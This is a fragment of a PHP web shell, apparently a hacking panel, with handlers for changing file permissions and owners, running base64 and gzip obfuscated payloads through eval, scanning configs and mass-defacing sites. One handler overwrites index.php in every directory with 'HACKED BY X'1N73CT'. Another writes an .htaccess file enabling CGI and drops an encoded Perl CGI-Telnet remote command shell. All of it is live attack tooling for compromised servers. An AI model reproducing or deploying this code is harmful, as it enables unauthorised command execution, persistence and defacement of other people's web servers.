echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo '</center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'chmod'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=chmod" method="post">
<br><br><br><center>
<form action="" method="get">
<table class="tabnet">
<font color="#333333"><b>Chmod file : </b></font> <input type="text" class="inputz" name="thefile" value="File Name" style="width:110px">
<input class="inputz" type="text" name="thefileval" value="0777" style="width:44px">
<span style="color: #00000 ;font-family: Tahoma, Geneva, sans-serif;font-size:12px;"></span>
<select class="inputz" name="comm">
<option>chmod</option>
<option>chown</option>
<option>chgrp</option><br>
<input class="inputzbut" type="submit" value="Exsekusi">
</select></table>
</form><br></center><br><br>
<?php
if(isset($_GET['thefile'])){
$file = $_GET['thefile'];
$new = $_GET['thefileval'];
if($_GET['comm'] == 'chmod')
{
$ch_ok = chmod($file,$new);
echo "Permission Changed.";
}
else if($_GET['comm'] == 'chown')
{
$ch_ok = chown($file,$new);
echo "Owner Changed.";
}
else if($_GET['comm'] == 'chgrp')
{
$ch_ok = chgrp($file,$new);
echo "Group Changed.";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){
eval(gzinflate(base64_decode($jumper))); "</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'config-scan')) {
eval(base64_decode($scanconfig)); }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?>
<center><form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=5 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="md5">md5</option>
<option value="whash">Crypt</option>
<option value="SHA1">SHA1</option>
<option value="urlencode">URL Encoding</option>
<option value="md4">md4</option>
<option value="SHA256">SHA256</option>
</select> <input class='inputzbut' type='submit' value='encrypt'></form>
<?php $op = $_POST["ope"];
switch ($op) {case 'base64':
$codi=base64_encode($text);
break;case 'md5' : $codi=md5($text);
break;case 'whash' : $codi=crypt($text);
break;case 'SHA1' : $codi=sha1($text);
break;case 'urlencode' : $codi=urlencode($text);
break;case 'md4' : $codi=hash("md4",$text);
break;case 'SHA256' : $codi=hash("sha256",$text);
break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>HACKED BY X'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1Z